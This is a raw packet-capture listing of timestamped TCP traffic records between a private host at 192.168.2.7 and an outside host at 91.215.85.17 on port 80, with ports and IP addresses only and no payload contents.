Dec 2, 2023 18:01:44.108638048 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108665943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108676910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108689070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108696938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108704090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108711004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108746052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108746052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108772993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108782053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108792067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108798981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108805895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108812094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108839035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108839989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108848095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108854055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108861923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108882904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108884096 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108892918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108895063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.108901978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108910084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.108931065 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109097004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109106064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109112978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109123945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109131098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109138966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109267950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109267950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109286070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109296083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109307051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109313965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109350920 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109375000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109386921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109441042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109457016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109463930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109472990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109515905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109523058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109533072 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109544992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109576941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109576941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109576941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109667063 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109675884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109683037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109694958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109703064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109711885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109719038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109730959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109765053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109765053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109792948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109801054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109807968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109819889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109826088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109839916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109846115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109853983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109862089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109868050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109869003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109869003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109879017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.109961987 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.109962940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110157013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110166073 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110176086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110188961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110269070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110276937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110285044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110299110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110353947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110353947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110353947 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110408068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110416889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110424042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110436916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110445023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110452890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110465050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110471010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110481977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110488892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110501051 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110512972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110521078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110528946 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110529900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110529900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110529900 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110558987 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110590935 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110621929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110630035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110636950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110644102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110655069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110661983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110665083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110671043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110680103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.110683918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.110812902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111074924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111083984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111089945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111103058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111109018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111115932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111123085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111171961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111181021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111187935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111201048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111207962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111216068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111244917 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111244917 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111244917 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111274004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111282110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111290932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111304045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111314058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111321926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111335039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111372948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111372948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111372948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111402035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111411095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111418009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111428976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111439943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111447096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111463070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111469984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111505985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111505985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111505985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111521006 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111530066 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111536980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111552000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111560106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111567020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111573935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111581087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111588955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111607075 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111607075 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111612082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111620903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111632109 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111640930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111660957 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111677885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111686945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111716032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111771107 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111779928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.111890078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.111890078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112006903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112015009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112023115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112030983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112036943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112045050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112067938 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112086058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112092972 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112102985 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112109900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112122059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112149000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112157106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112173080 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112193108 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112206936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112217903 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112226009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112232924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112278938 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112278938 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112760067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112767935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112775087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112786055 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112792015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112797976 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112804890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112812996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112818956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112826109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112833977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112840891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112849951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112857103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112870932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112870932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112870932 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.112895012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112976074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112983942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.112996101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113007069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113013983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113027096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113029003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113029003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113029003 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113037109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113044977 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113056898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113065958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113073111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113080978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113087893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113087893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113087893 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113096952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113105059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113111973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113117933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113126040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113137960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113145113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113152981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113159895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113168001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113168955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113168955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113168955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113209963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113209963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113264084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113272905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113282919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113290071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113296986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113306046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113312960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113322020 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113336086 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113343954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113379002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113399982 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113408089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113416910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113425016 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113439083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113445997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113455057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113491058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113491058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113491058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113512039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113610983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113620043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113735914 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113743067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.113797903 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.113873959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114006042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114044905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114053011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114064932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114072084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114078999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114123106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114123106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114145041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114155054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114223003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114234924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114242077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114250898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114272118 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114293098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114303112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114310026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114413977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114414930 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114414930 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114423990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114430904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114443064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114449978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114475012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114481926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114490032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114501953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114573956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114582062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114592075 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114603996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114639997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114639997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114639997 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114667892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114675999 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114686012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114694118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114701033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114756107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114756107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114756107 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114783049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114790916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114798069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114809990 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114816904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114890099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114900112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114907026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114919901 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114932060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114938974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114948988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114948988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114975929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:44.114983082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:44.114989996 CET	80	49713	91.215.85.17	192.168.2.7
